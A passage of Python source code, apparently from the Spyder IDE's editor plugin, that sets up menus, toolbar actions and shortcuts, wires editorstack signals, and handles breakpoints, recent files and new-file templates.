editor_layout.addWidget(self.find_widget) # Splitter: editor widgets (see above) + outline explorer self.splitter = QSplitter(self) self.splitter.setContentsMargins(0, 0, 0, 0) self.splitter.addWidget(editor_widgets) self.splitter.setStretchFactor(0, 5) self.splitter.setStretchFactor(1, 1) layout.addWidget(self.splitter) self.setLayout(layout) # Editor's splitter state state = self.get_option('splitter_state', None) if state is not None: self.splitter.restoreState( QByteArray().fromHex(str(state)) ) self.recent_files = self.get_option('recent_files', []) self.untitled_num = 0 filenames = self.get_option('filenames', []) if filenames and not ignore_last_opened_files: self.load(filenames) layout = self.get_option('layout_settings', None) if layout is not None: self.editorsplitter.set_layout_settings(layout) win_layout = self.get_option('windows_layout_settings', None) if win_layout: for layout_settings in win_layout: self.editorwindows_to_be_created.append(layout_settings) self.set_last_focus_editorstack(self, self.editorstacks[0]) else: self.__load_temp_file() # Parameters of last file execution: self.__last_ic_exec = None # internal console self.__last_ec_exec = None # external console self.__ignore_cursor_position = False current_editor = self.get_current_editor() if current_editor is not None: filename = self.get_current_filename() position = current_editor.get_position('cursor') self.add_cursor_position_to_history(filename, position) self.update_cursorpos_actions() def set_projectexplorer(self, projectexplorer): self.projectexplorer = projectexplorer def show_hide_project_explorer(self): if self.projectexplorer is not None: dw = self.projectexplorer.dockwidget if dw.isVisible(): dw.hide() else: dw.show() dw.raise_() self.switch_to_plugin() def set_outlineexplorer(self, outlineexplorer): self.outlineexplorer = outlineexplorer for editorstack in self.editorstacks: editorstack.set_outlineexplorer(self.outlineexplorer) self.connect(self.outlineexplorer, SIGNAL("edit_goto(QString,int,QString)"), lambda filenames, goto, word: self.load(filenames=filenames, goto=goto, word=word, editorwindow=self)) def show_hide_outline_explorer(self): if self.outlineexplorer is not None: dw = self.outlineexplorer.dockwidget if dw.isVisible(): dw.hide() else: dw.show() dw.raise_() self.switch_to_plugin() def set_inspector(self, inspector): self.inspector = inspector for editorstack in self.editorstacks: editorstack.set_inspector(self.inspector) #------ Private API -------------------------------------------------------- def restore_scrollbar_position(self): """Restoring scrollbar position after main window is visible""" # Widget is now visible, we may center cursor on top level editor: self.get_current_editor().centerCursor() #------ SpyderPluginWidget API --------------------------------------------- def get_plugin_title(self): """Return widget title""" title = _('Editor') filename = self.get_current_filename() if filename: title += ' - '+unicode(filename) return title def get_plugin_icon(self): """Return widget icon""" return get_icon('edit.png') def get_focus_widget(self): """ Return the widget to give focus to when this plugin's dockwidget is raised on top-level """ return self.get_current_editor() def visibility_changed(self, enable): """DockWidget visibility has changed""" SpyderPluginWidget.visibility_changed(self, enable) if self.dockwidget.isWindow(): self.dock_toolbar.show() else: self.dock_toolbar.hide() if enable: self.refresh_plugin() def refresh_plugin(self): """Refresh editor plugin""" editorstack = self.get_current_editorstack() editorstack.refresh() self.refresh_save_all_action() def closing_plugin(self, cancelable=False): """Perform actions before parent main window is closed""" state = self.splitter.saveState() self.set_option('splitter_state', str(state.toHex())) filenames = [] editorstack = self.editorstacks[0] filenames += [finfo.filename for finfo in editorstack.data] self.set_option('layout_settings', self.editorsplitter.get_layout_settings()) self.set_option('windows_layout_settings', [win.get_layout_settings() for win in self.editorwindows]) self.set_option('filenames', filenames) self.set_option('recent_files', self.recent_files) is_ok = True for editorstack in self.editorstacks: is_ok = is_ok and editorstack.save_if_changed(cancelable) if not is_ok and cancelable: break if is_ok: for win in self.editorwindows[:]: win.close() return is_ok def get_plugin_actions(self): """Return a list of actions related to plugin""" self.toggle_outline_action = create_action(self, _("Show/hide outline explorer"), triggered=self.show_hide_outline_explorer, context=Qt.WidgetWithChildrenShortcut) self.register_shortcut(self.toggle_outline_action, context="Editor", name="Show/hide outline", default="Ctrl+Alt+O") self.toggle_project_action = create_action(self, _("Show/hide project explorer"), triggered=self.show_hide_project_explorer, context=Qt.WidgetWithChildrenShortcut) self.register_shortcut(self.toggle_project_action, context="Editor", name="Show/hide project explorer", default="Ctrl+Alt+P") self.addActions([self.toggle_outline_action, self.toggle_project_action]) self.new_action = create_action(self, _("&New file..."), icon='filenew.png', tip=_("Create a new Python script"), triggered=self.new) self.register_shortcut(self.new_action, context="Editor", name="New file", default="Ctrl+N") self.open_action = create_action(self, _("&Open..."), icon='fileopen.png', tip=_("Open text file"), triggered=self.load) self.revert_action = create_action(self, _("&Revert"), icon='revert.png', tip=_("Revert file from disk"), triggered=self.revert) self.register_shortcut(self.open_action, context="Editor", name="Open file", default="Ctrl+O") self.save_action = create_action(self, _("&Save"), icon='filesave.png', tip=_("Save current file"), triggered=self.save) self.register_shortcut(self.save_action, context="Editor", name="Save file", default="Ctrl+S") self.save_all_action = create_action(self, _("Sav&e all"), icon='save_all.png', tip=_("Save all opened files"), triggered=self.save_all) self.register_shortcut(self.save_all_action, context="Editor", name="Save all", default="Ctrl+Shift+S") save_as_action = create_action(self, _("Save &as..."), None, 'filesaveas.png', _("Save current file as..."), triggered=self.save_as) print_preview_action = create_action(self, _("Print preview..."), tip=_("Print preview..."), triggered=self.print_preview) self.print_action = create_action(self, _("&Print..."), icon='print.png', tip=_("Print current file..."), triggered=self.print_file) self.register_shortcut(self.print_action, context="Editor", name="Print", default="Ctrl+P") self.close_action = create_action(self, _("&Close"), icon='fileclose.png', tip=_("Close current file"), triggered=self.close_file) self.register_shortcut(self.close_action, context="Editor", name="Close file", default="Ctrl+W") self.close_all_action = create_action(self, _("C&lose all"), icon='filecloseall.png', tip=_("Close all opened files"), triggered=self.close_all_files) self.register_shortcut(self.close_all_action, context="Editor", name="Close all", default="Ctrl+Shift+W") set_clear_breakpoint_action = create_action(self, _("Set/Clear breakpoint"), icon=get_icon("breakpoint.png"), triggered=self.set_or_clear_breakpoint, context=Qt.WidgetShortcut) self.register_shortcut(set_clear_breakpoint_action, context="Editor", name="Breakpoint", default="F12") set_cond_breakpoint_action = create_action(self, _("Set/Edit conditional breakpoint"), icon=get_icon("breakpoint_cond.png"), triggered=self.set_or_edit_conditional_breakpoint, context=Qt.WidgetShortcut) self.register_shortcut(set_cond_breakpoint_action, context="Editor", name="Conditional breakpoint", default="Shift+F12") clear_all_breakpoints_action = create_action(self, _("Clear breakpoints in all files"), triggered=self.clear_all_breakpoints) breakpoints_menu = QMenu(_("Breakpoints"), self) add_actions(breakpoints_menu, (set_clear_breakpoint_action, set_cond_breakpoint_action, None, clear_all_breakpoints_action)) run_action = create_action(self, _("&Run"), icon='run.png', tip=_("Run active script in a new Python interpreter"), triggered=self.run_file) self.register_shortcut(run_action, context="Editor", name="Run", default="F5") debug_action = create_action(self, _("&Debug"), icon='bug.png', tip=_("Debug current script in external console" "\n(external console is executed in a " "separate process)"), triggered=self.debug_file) self.register_shortcut(debug_action, context="Editor", name="Debug", default="Ctrl+F5") configure_action = create_action(self, _("&Configure..."), icon='configure.png', tip=_("Edit run configurations"), triggered=self.edit_run_configurations) self.register_shortcut(configure_action, context="Editor", name="Configure", default="F6") re_run_action = create_action(self, _("Re-run &last script"), icon='run_again.png', tip=_("Run again last script in external console " "with the same options"), triggered=self.re_run_file) self.register_shortcut(re_run_action, context="Editor", name="Re-run last script", default="Ctrl+F6") run_selected_action = create_action(self, _("Run &selection or current block"), icon='run_selection.png', tip=_("Run selected text or current block of lines \n" "inside current external console's interpreter"), triggered=self.run_selection_or_block) self.register_shortcut(run_selected_action, context="Editor", name="Run selection", default="F9") self.todo_list_action = create_action(self, _("Show todo list"), icon='todo_list.png', tip=_("Show TODO/FIXME/XXX/HINT/TIP comments list"), triggered=self.go_to_next_todo) self.todo_menu = QMenu(self) self.todo_list_action.setMenu(self.todo_menu) self.connect(self.todo_menu, SIGNAL("aboutToShow()"), self.update_todo_menu) self.warning_list_action = create_action(self, _("Show warning/error list"), icon='wng_list.png', tip=_("Show code analysis warnings/errors"), triggered=self.go_to_next_warning) self.warning_menu = QMenu(self) self.warning_list_action.setMenu(self.warning_menu) self.connect(self.warning_menu, SIGNAL("aboutToShow()"), self.update_warning_menu) self.previous_warning_action = create_action(self, _("Previous warning/error"), icon='prev_wng.png', tip=_("Go to previous code analysis warning/error"), triggered=self.go_to_previous_warning) self.next_warning_action = create_action(self, _("Next warning/error"), icon='next_wng.png', tip=_("Go to next code analysis warning/error"), triggered=self.go_to_next_warning) self.previous_edit_cursor_action = create_action(self, _("Last edit location"), icon='last_edit_location.png', tip=_("Go to last edit location"), triggered=self.go_to_last_edit_location) self.register_shortcut(self.previous_edit_cursor_action, context="Editor", name="Last edit location", default="Ctrl+Alt+Shift+Left") self.previous_cursor_action = create_action(self, _("Previous cursor position"), icon='prev_cursor.png', tip=_("Go to previous cursor position"), triggered=self.go_to_previous_cursor_position) self.register_shortcut(self.previous_cursor_action, context="Editor", name="Previous cursor position", default="Ctrl+Alt+Left") self.next_cursor_action = create_action(self, _("Next cursor position"), icon='next_cursor.png', tip=_("Go to next cursor position"), triggered=self.go_to_next_cursor_position) self.register_shortcut(self.next_cursor_action, context="Editor", name="Next cursor position", default="Ctrl+Alt+Right") self.toggle_comment_action = create_action(self, _("Comment")+"/"+_("Uncomment"), icon='comment.png', tip=_("Comment current line or selection"), triggered=self.toggle_comment, context=Qt.WidgetShortcut) self.register_shortcut(self.toggle_comment_action, context="Editor", name="Toggle comment", default="Ctrl+1") blockcomment_action = create_action(self, _("Add &block comment"), tip=_("Add block comment around " "current line or selection"), triggered=self.blockcomment, context=Qt.WidgetShortcut) self.register_shortcut(blockcomment_action, context="Editor", name="Blockcomment", default="Ctrl+4") unblockcomment_action = create_action(self, _("R&emove block comment"), tip = _("Remove comment block around " "current line or selection"), triggered=self.unblockcomment, context=Qt.WidgetShortcut) self.register_shortcut(unblockcomment_action, context="Editor", name="Unblockcomment", default="Ctrl+5") # ---------------------------------------------------------------------- # The following action shortcuts are hard-coded in CodeEditor # keyPressEvent handler (the shortcut is here only to inform user): # (context=Qt.WidgetShortcut -> disable shortcut for other widgets) self.indent_action = create_action(self, _("Indent"), "Tab", icon='indent.png', tip=_("Indent current line or selection"), triggered=self.indent, context=Qt.WidgetShortcut) self.unindent_action = create_action(self, _("Unindent"), "Shift+Tab", icon='unindent.png', tip=_("Unindent current line or selection"), triggered=self.unindent, context=Qt.WidgetShortcut) # ---------------------------------------------------------------------- self.winpdb_action = create_action(self, _("Debug with winpdb"), triggered=self.run_winpdb) self.winpdb_action.setEnabled(WINPDB_PATH is not None) self.register_shortcut(self.winpdb_action, context="Editor", name="Debug with winpdb", default="F7") self.win_eol_action = create_action(self, _("Carriage return and line feed (Windows)"), toggled=lambda: self.toggle_eol_chars('nt')) self.linux_eol_action = create_action(self, _("Line feed (UNIX)"), toggled=lambda: self.toggle_eol_chars('posix')) self.mac_eol_action = create_action(self, _("Carriage return (Mac)"), toggled=lambda: self.toggle_eol_chars('mac')) eol_action_group = QActionGroup(self) eol_actions = (self.win_eol_action, self.linux_eol_action, self.mac_eol_action) add_actions(eol_action_group, eol_actions) eol_menu = QMenu(_("Convert end-of-line characters"), self) add_actions(eol_menu, eol_actions) trailingspaces_action = create_action(self, _("Remove trailing spaces"), triggered=self.remove_trailing_spaces) fixindentation_action = create_action(self, _("Fix indentation"), tip=_("Replace tab characters by space characters"), triggered=self.fix_indentation) gotoline_action = create_action(self, _("Go to line..."), icon=get_icon("gotoline.png"), triggered=self.go_to_line, context=Qt.WidgetShortcut) self.register_shortcut(gotoline_action, context="Editor", name="Go to line", default="Ctrl+L") workdir_action = create_action(self, _("Set console working directory"), icon=get_std_icon('DirOpenIcon'), tip=_("Set current console (and file explorer) working " "directory to current script directory"), triggered=self.__set_workdir) self.max_recent_action = create_action(self, _("Maximum number of recent files..."), triggered=self.change_max_recent_files) self.clear_recent_action = create_action(self, _("Clear this list"), tip=_("Clear recent files list"), triggered=self.clear_recent_files) self.recent_file_menu = QMenu(_("Open &recent"), self) self.connect(self.recent_file_menu, SIGNAL("aboutToShow()"), self.update_recent_file_menu) file_menu_actions = [self.new_action, self.open_action, self.recent_file_menu, self.save_action, self.save_all_action, save_as_action, self.revert_action, None, print_preview_action, self.print_action, None, self.close_action, self.close_all_action, None] self.main.file_menu_actions += file_menu_actions file_toolbar_actions = [self.new_action, self.open_action, self.save_action, self.save_all_action, self.print_action] self.main.file_toolbar_actions += file_toolbar_actions self.edit_menu_actions = [self.toggle_comment_action, blockcomment_action, unblockcomment_action, self.indent_action, self.unindent_action] self.main.edit_menu_actions += [None]+self.edit_menu_actions edit_toolbar_actions = [self.toggle_comment_action, self.unindent_action, self.indent_action] self.main.edit_toolbar_actions += edit_toolbar_actions self.search_menu_actions = [gotoline_action] self.main.search_menu_actions += self.search_menu_actions self.main.search_toolbar_actions += [gotoline_action] run_menu_actions = [run_action, debug_action, configure_action, breakpoints_menu, None, re_run_action, run_selected_action, None, self.winpdb_action] self.main.run_menu_actions += run_menu_actions run_toolbar_actions = [run_action, debug_action, configure_action, run_selected_action, re_run_action] self.main.run_toolbar_actions += run_toolbar_actions source_menu_actions = [eol_menu, trailingspaces_action, fixindentation_action] self.main.source_menu_actions += source_menu_actions source_toolbar_actions = [self.todo_list_action, self.warning_list_action, self.previous_warning_action, self.next_warning_action, None, self.previous_edit_cursor_action, self.previous_cursor_action, self.next_cursor_action] self.main.source_toolbar_actions += source_toolbar_actions self.dock_toolbar_actions = file_toolbar_actions + [None] + \ source_toolbar_actions + [None] + \ run_toolbar_actions + [None] + \ edit_toolbar_actions self.pythonfile_dependent_actions = [run_action, configure_action, set_clear_breakpoint_action, set_cond_breakpoint_action, debug_action, re_run_action, run_selected_action, blockcomment_action, unblockcomment_action, self.winpdb_action] self.file_dependent_actions = self.pythonfile_dependent_actions + \ [self.save_action, save_as_action, print_preview_action, self.print_action, self.save_all_action, gotoline_action, workdir_action, self.close_action, self.close_all_action, self.toggle_comment_action, self.revert_action, self.indent_action, self.unindent_action] self.stack_menu_actions = [self.save_action, save_as_action, self.print_action, None, run_action, debug_action, configure_action, None, gotoline_action, workdir_action, None, self.close_action] return self.file_dependent_actions def register_plugin(self): """Register plugin in Spyder's main window""" self.connect(self.main, SIGNAL('restore_scrollbar_position()'), self.restore_scrollbar_position) self.connect(self.main.console, SIGNAL("edit_goto(QString,int,QString)"), self.load) self.connect(self, SIGNAL('external_console_execute_lines(QString)'), self.main.execute_python_code_in_external_console) self.connect(self, SIGNAL('redirect_stdio(bool)'), self.main.redirect_internalshell_stdio) self.connect(self, SIGNAL("open_dir(QString)"), self.main.workingdirectory.chdir) self.set_inspector(self.main.inspector) if self.main.outlineexplorer is not None: self.set_outlineexplorer(self.main.outlineexplorer) self.main.add_dockwidget(self) #------ Focus tabwidget def __get_focus_editorstack(self): fwidget = QApplication.focusWidget() if isinstance(fwidget, EditorStack): return fwidget else: for editorstack in self.editorstacks: if editorstack.isAncestorOf(fwidget): return editorstack def set_last_focus_editorstack(self, editorwindow, editorstack): self.last_focus_editorstack[editorwindow] = editorstack self.last_focus_editorstack[None] = editorstack # very last editorstack def get_last_focus_editorstack(self, editorwindow=None): return self.last_focus_editorstack[editorwindow] def remove_last_focus_editorstack(self, editorstack): for editorwindow, widget in self.last_focus_editorstack.items(): if widget is editorstack: self.last_focus_editorstack[editorwindow] = None def save_focus_editorstack(self): editorstack = self.__get_focus_editorstack() if editorstack is not None: for win in [self]+self.editorwindows: if win.isAncestorOf(editorstack): self.set_last_focus_editorstack(win, editorstack) #------ Handling editorstacks def register_editorstack(self, editorstack): self.editorstacks.append(editorstack) self.register_widget_shortcuts("Editor", editorstack) if self.isAncestorOf(editorstack): # editorstack is a child of the Editor plugin self.set_last_focus_editorstack(self, editorstack) editorstack.set_closable( len(self.editorstacks) > 1 ) if self.outlineexplorer is not None: editorstack.set_outlineexplorer(self.outlineexplorer) editorstack.set_find_widget(self.find_widget) self.connect(editorstack, SIGNAL('reset_statusbar()'), self.readwrite_status.hide) self.connect(editorstack, SIGNAL('reset_statusbar()'), self.encoding_status.hide) self.connect(editorstack, SIGNAL('reset_statusbar()'), self.cursorpos_status.hide) self.connect(editorstack, SIGNAL('readonly_changed(bool)'), self.readwrite_status.readonly_changed) self.connect(editorstack, SIGNAL('encoding_changed(QString)'), self.encoding_status.encoding_changed) self.connect(editorstack, SIGNAL('editor_cursor_position_changed(int,int)'), self.cursorpos_status.cursor_position_changed) self.connect(editorstack, SIGNAL('refresh_eol_chars(QString)'), self.eol_status.eol_changed) editorstack.set_inspector(self.inspector) editorstack.set_io_actions(self.new_action, self.open_action, self.save_action, self.revert_action) editorstack.set_tempfile_path(self.TEMPFILE_PATH) settings = ( ('set_pyflakes_enabled', 'code_analysis/pyflakes'), ('set_pep8_enabled', 'code_analysis/pep8'), ('set_todolist_enabled', 'todo_list'), ('set_realtime_analysis_enabled', 'realtime_analysis'), ('set_realtime_analysis_timeout', 'realtime_analysis/timeout'), ('set_linenumbers_enabled', 'line_numbers'), ('set_edgeline_enabled', 'edge_line'), ('set_edgeline_column', 'edge_line_column'), ('set_outlineexplorer_enabled', 'outline_explorer'), ('set_codecompletion_auto_enabled', 'codecompletion/auto'), ('set_codecompletion_case_enabled', 'codecompletion/case_sensitive'), ('set_codecompletion_single_enabled', 'codecompletion/show_single'), ('set_codecompletion_enter_enabled', 'codecompletion/enter_key'), ('set_calltips_enabled', 'calltips'), ('set_go_to_definition_enabled', 'go_to_definition'), ('set_close_parentheses_enabled', 'close_parentheses'), ('set_auto_unindent_enabled', 'auto_unindent'), ('set_indent_chars', 'indent_chars'), ('set_tab_stop_width', 'tab_stop_width'), ('set_inspector_enabled', 'object_inspector'), ('set_wrap_enabled', 'wrap'), ('set_tabmode_enabled', 'tab_always_indent'), ('set_intelligent_backspace_enabled', 'intelligent_backspace'), ('set_highlight_current_line_enabled', 'highlight_current_line'), ('set_occurence_highlighting_enabled', 'occurence_highlighting'), ('set_occurence_highlighting_timeout', 'occurence_highlighting/timeout'), ('set_checkeolchars_enabled', 'check_eol_chars'), ('set_fullpath_sorting_enabled', 'fullpath_sorting'), ('set_tabbar_visible', 'show_tab_bar'), ('set_always_remove_trailing_spaces', 'always_remove_trailing_spaces'), ) for method, setting in settings: getattr(editorstack, method)(self.get_option(setting)) color_scheme = get_color_scheme(self.get_option('color_scheme_name')) editorstack.set_default_font(self.get_plugin_font(), color_scheme) self.connect(editorstack, SIGNAL('starting_long_process(QString)'), self.starting_long_process) self.connect(editorstack, SIGNAL('ending_long_process(QString)'), self.ending_long_process) # Redirect signals self.connect(editorstack, SIGNAL('redirect_stdio(bool)'), lambda state: self.emit(SIGNAL('redirect_stdio(bool)'), state)) self.connect(editorstack, SIGNAL('external_console_execute_lines(QString)'), lambda text: self.emit( SIGNAL('external_console_execute_lines(QString)'), text)) self.connect(editorstack, SIGNAL("update_plugin_title()"), lambda: self.emit(SIGNAL("update_plugin_title()"))) self.connect(self, SIGNAL("editor_focus_changed()"), self.save_focus_editorstack) self.connect(self, SIGNAL('editor_focus_changed()'), self.main.plugin_focus_changed) self.connect(editorstack, SIGNAL('close_file(int,int)'), self.close_file_in_all_editorstacks) self.connect(editorstack, SIGNAL('file_saved(int,int)'), self.file_saved_in_editorstack) self.connect(editorstack, SIGNAL("create_new_window()"), self.create_new_window) self.connect(editorstack, SIGNAL('opened_files_list_changed()'), self.opened_files_list_changed) self.connect(editorstack, SIGNAL('analysis_results_changed()'), self.analysis_results_changed) self.connect(editorstack, SIGNAL('todo_results_changed()'), self.todo_results_changed) self.connect(editorstack, SIGNAL('update_code_analysis_actions()'), self.update_code_analysis_actions) self.connect(editorstack, SIGNAL('update_code_analysis_actions()'), self.update_todo_actions) self.connect(editorstack, SIGNAL('refresh_file_dependent_actions()'), self.refresh_file_dependent_actions) self.connect(editorstack, SIGNAL('refresh_save_all_action()'), self.refresh_save_all_action) self.connect(editorstack, SIGNAL('refresh_eol_chars(QString)'), self.refresh_eol_chars) self.connect(editorstack, SIGNAL("save_breakpoints(QString,QString)"), self.save_breakpoints) self.connect(editorstack, SIGNAL('text_changed_at(QString,int)'), self.text_changed_at) self.connect(editorstack, SIGNAL('current_file_changed(QString,int)'), self.current_file_changed) self.connect(editorstack, SIGNAL('plugin_load(QString)'), self.load) self.connect(editorstack, SIGNAL("edit_goto(QString,int,QString)"), self.load) def unregister_editorstack(self, editorstack): """Removing editorstack only if it's not the last remaining""" self.remove_last_focus_editorstack(editorstack) if len(self.editorstacks) > 1: index = self.editorstacks.index(editorstack) self.editorstacks.pop(index) return True else: # editorstack was not removed! return False def clone_editorstack(self, editorstack): editorstack.clone_from(self.editorstacks[0]) @Slot(int, int) def close_file_in_all_editorstacks(self, editorstack_id, index): for editorstack in self.editorstacks: if id(editorstack) != editorstack_id: editorstack.blockSignals(True) editorstack.close_file(index, force=True) editorstack.blockSignals(False) @Slot(int, int) def file_saved_in_editorstack(self, editorstack_id, index): """A file was saved in editorstack, this notifies others""" for editorstack in self.editorstacks: if id(editorstack) != editorstack_id: editorstack.file_saved_in_other_editorstack(index) #------ Handling editor windows def setup_other_windows(self): """Setup toolbars and menus for 'New window' instances""" self.toolbar_list = ( (_("File toolbar"), self.main.file_toolbar_actions), (_("Search toolbar"), self.main.search_menu_actions), (_("Source toolbar"), self.main.source_toolbar_actions), (_("Run toolbar"), self.main.run_toolbar_actions), (_("Edit toolbar"), self.main.edit_toolbar_actions), ) self.menu_list = ( (_("&File"), self.main.file_menu_actions), (_("&Edit"), self.main.edit_menu_actions), (_("&Search"), self.main.search_menu_actions), (_("Sour&ce"), self.main.source_menu_actions), (_("&Run"), self.main.run_menu_actions), (_("&Tools"), self.main.tools_menu_actions), (_("?"), self.main.help_menu_actions), ) # Create pending new windows: for layout_settings in self.editorwindows_to_be_created: win = self.create_new_window() win.set_layout_settings(layout_settings) def create_new_window(self): oe_options = self.outlineexplorer.get_options() fullpath_sorting=self.get_option('fullpath_sorting', True), window = EditorMainWindow(self, self.stack_menu_actions, self.toolbar_list, self.menu_list, show_fullpath=oe_options['show_fullpath'], fullpath_sorting=fullpath_sorting, show_all_files=oe_options['show_all_files'], show_comments=oe_options['show_comments']) window.resize(self.size()) window.show() self.register_editorwindow(window) self.connect(window, SIGNAL("destroyed()"), lambda win=window: self.unregister_editorwindow(win)) return window def register_editorwindow(self, window): self.editorwindows.append(window) def unregister_editorwindow(self, window): self.editorwindows.pop(self.editorwindows.index(window)) #------ Accessors def get_filenames(self): return [finfo.filename for finfo in self.editorstacks[0].data] def get_filename_index(self, filename): return self.editorstacks[0].has_filename(filename) def get_current_editorstack(self, editorwindow=None): if self.editorstacks is not None: if len(self.editorstacks) == 1: return self.editorstacks[0] else: editorstack = self.__get_focus_editorstack() if editorstack is None or editorwindow is not None: return self.get_last_focus_editorstack(editorwindow) return editorstack def get_current_editor(self): editorstack = self.get_current_editorstack() if editorstack is not None: return editorstack.get_current_editor() def get_current_finfo(self): editorstack = self.get_current_editorstack() if editorstack is not None: return editorstack.get_current_finfo() def get_current_filename(self): editorstack = self.get_current_editorstack() if editorstack is not None: return editorstack.get_current_filename() def is_file_opened(self, filename=None): return self.editorstacks[0].is_file_opened(filename) def set_current_filename(self, filename, editorwindow=None): """Set focus to *filename* if this file has been opened Return the editor instance associated to *filename*""" editorstack = self.get_current_editorstack(editorwindow) return editorstack.set_current_filename(filename) #------ Refresh methods def refresh_file_dependent_actions(self): """Enable/disable file dependent actions (only if dockwidget is visible)""" if self.dockwidget and self.dockwidget.isVisible(): enable = self.get_current_editor() is not None for action in self.file_dependent_actions: action.setEnabled(enable) def refresh_save_all_action(self): state = False editorstack = self.editorstacks[0] if editorstack.get_stack_count() > 1: state = state or any([finfo.editor.document().isModified() for finfo in editorstack.data]) self.save_all_action.setEnabled(state) def update_warning_menu(self): """Update warning list menu""" editorstack = self.get_current_editorstack() check_results = editorstack.get_analysis_results() self.warning_menu.clear() filename = self.get_current_filename() for message, line_number in check_results: error = 'syntax' in message text = message[:1].upper()+message[1:] icon = get_icon('error.png' if error else 'warning.png') slot = lambda _l=line_number: self.load(filename, goto=_l) action = create_action(self, text=text, icon=icon, triggered=slot) self.warning_menu.addAction(action) def analysis_results_changed(self): """ Synchronize analysis results between editorstacks Refresh analysis navigation buttons """ editorstack = self.get_current_editorstack() results = editorstack.get_analysis_results() index = editorstack.get_stack_index() if index != -1: for other_editorstack in self.editorstacks: if other_editorstack is not editorstack: other_editorstack.set_analysis_results(index, results) self.update_code_analysis_actions() def update_todo_menu(self): """Update todo list menu""" editorstack = self.get_current_editorstack() results = editorstack.get_todo_results() self.todo_menu.clear() filename = self.get_current_filename() for text, line0 in results: icon = get_icon('todo.png') slot = lambda _l=line0: self.load(filename, goto=_l) action = create_action(self, text=text, icon=icon, triggered=slot) self.todo_menu.addAction(action) self.update_todo_actions() def todo_results_changed(self): """ Synchronize todo results between editorstacks Refresh todo list navigation buttons """ editorstack = self.get_current_editorstack() results = editorstack.get_todo_results() index = editorstack.get_stack_index() if index != -1: for other_editorstack in self.editorstacks: if other_editorstack is not editorstack: other_editorstack.set_todo_results(index, results) self.update_todo_actions() def refresh_eol_chars(self, os_name): os_name = unicode(os_name) self.__set_eol_chars = False if os_name == 'nt': self.win_eol_action.setChecked(True) elif os_name == 'posix': self.linux_eol_action.setChecked(True) else: self.mac_eol_action.setChecked(True) self.__set_eol_chars = True #------ Slots def opened_files_list_changed(self): """ Opened files list has changed: --> open/close file action --> modification ('*' added to title) --> current edited file has changed """ # Refresh Python file dependent actions: editor = self.get_current_editor() if editor: enable = editor.is_python() for action in self.pythonfile_dependent_actions: if action is self.winpdb_action: action.setEnabled(enable and WINPDB_PATH is not None) else: action.setEnabled(enable) def update_code_analysis_actions(self): editorstack = self.get_current_editorstack() results = editorstack.get_analysis_results() # Update code analysis buttons state = (self.get_option('code_analysis/pyflakes') \ or self.get_option('code_analysis/pep8')) \ and results is not None and len(results) for action in (self.warning_list_action, self.previous_warning_action, self.next_warning_action): action.setEnabled(state) def update_todo_actions(self): editorstack = self.get_current_editorstack() results = editorstack.get_todo_results() state = self.get_option('todo_list') \ and results is not None and len(results) self.todo_list_action.setEnabled(state) #------ Breakpoints def save_breakpoints(self, filename, breakpoints): filename, breakpoints = unicode(filename), unicode(breakpoints) filename = osp.normpath(osp.abspath(filename)) if breakpoints: breakpoints = eval(breakpoints) else: breakpoints = [] save_breakpoints(filename, breakpoints) #------ File I/O def __load_temp_file(self): """Load temporary file from a text file in user home directory""" if not osp.isfile(self.TEMPFILE_PATH): # Creating temporary file default = ['# -*- coding: utf-8 -*-', '"""', _("Spyder Editor"), '', _("This temporary script file is located here:"), self.TEMPFILE_PATH, '"""', '', ''] text = os.linesep.join([encoding.to_unicode(qstr) for qstr in default]) encoding.write(unicode(text), self.TEMPFILE_PATH, 'utf-8') self.load(self.TEMPFILE_PATH) def __set_workdir(self): """Set current script directory as working directory""" fname = self.get_current_filename() if fname is not None: directory = osp.dirname(osp.abspath(fname)) self.emit(SIGNAL("open_dir(QString)"), directory) def __add_recent_file(self, fname): """Add to recent file list""" if fname is None: return if fname in self.recent_files: self.recent_files.remove(fname) self.recent_files.insert(0, fname) if len(self.recent_files) > self.get_option('max_recent_files'): self.recent_files.pop(-1) def _clone_file_everywhere(self, finfo): """Clone file (*src_editor* widget) in all editorstacks Cloning from the first editorstack in which every single new editor is created (when loading or creating a new file)""" for editorstack in self.editorstacks[1:]: editor = editorstack.clone_editor_from(finfo, set_current=False) self.register_widget_shortcuts("Editor", editor) def new(self, fname=None, editorstack=None): """ Create a new file - Untitled fname=None --> fname will be 'untitledXX.py' but do not create file fname=<basestring> --> create file """ # Creating template text, enc = encoding.read(self.TEMPLATE_PATH) encoding_match = re.search('-*- coding: ?([a-z0-9A-Z\-]*) -*-', text) if encoding_match: enc = encoding_match.group(1) # Initialize template variables username = os.environ.get('USERNAME', None) # Windows, Linux if not username: username = os.environ.get('USER', '-') # Mac OS VARS = { 'date':time.ctime(), 'username':username, } try: text = text % VARS except: pass create_fname = lambda n: unicode(_("untitled")) + ("%d.py" % n) # Creating editor widget if editorstack is None: current_es = self.get_current_editorstack() else: current_es = editorstack created_from_here = fname is None if created_from_here: while True: fname = create_fname(self.untitled_num) self.untitled_num += 1 if not osp.isfile(fname): break basedir = os.getcwdu() if CONF.get('workingdir', 'editor/new/browse_scriptdir'): c_fname = self.get_current_filename() if c_fname is not None and c_fname != self.TEMPFILE_PATH: basedir = osp.dirname(c_fname) fname = osp.abspath(osp.join(basedir, fname)) else: # QString when triggered by a Qt signal fname = osp.abspath(unicode(fname)) index = current_es.has_filename(fname) if index and not current_es.close_file(index): return # Creating the editor widget in the first editorstack (the one that # can't be destroyed), then cloning this editor widget in all other # editorstacks: finfo = self.editorstacks[0].new(fname, enc, text) self._clone_file_everywhere(finfo) current_editor = current_es.set_current_filename(finfo.filename) self.register_widget_shortcuts("Editor", current_editor) if not created_from_here: self.save(force=True) def edit_template(self): """Edit new file template""" self.load(self.TEMPLATE_PATH) def update_recent_file_menu(self): """Update recent file menu""" recent_files = [] for fname in self.recent_files: if not self.is_file_opened(fname) and osp.isfile(fname): recent_files.append(fname) self.recent_file_menu.clear() if recent_files: for i, fname in enumerate(recent_files): if i < 10: accel = "%d" % ((i+1) % 10) else: accel = chr(i-10+ord('a')) action = create_action(self, "&%s %s" % (accel, fname), icon=get_filetype_icon(fname), triggered=self.load) action.setData(to_qvariant(fname)) self.recent_file_menu.addAction(action) self.clear_recent_action.setEnabled(len(recent_files) > 0) add_actions(self.recent_file_menu, (None, self.max_recent_action, self.clear_recent_action)) def clear_recent_files(self): """Clear recent files list""" self.recent_files = [] def change_max_recent_files(self): "Change max recent files entries""" editorstack = self.get_current_editorstack() mrf, valid = QInputDialog.getInteger(editorstack, _('Editor'), _('Maximum number of recent files'), self.get_option('max_recent_files'), 1, 35) if valid: self.set_option('max_recent_files', mrf) def load(self, filenames=None, goto=None, word='', 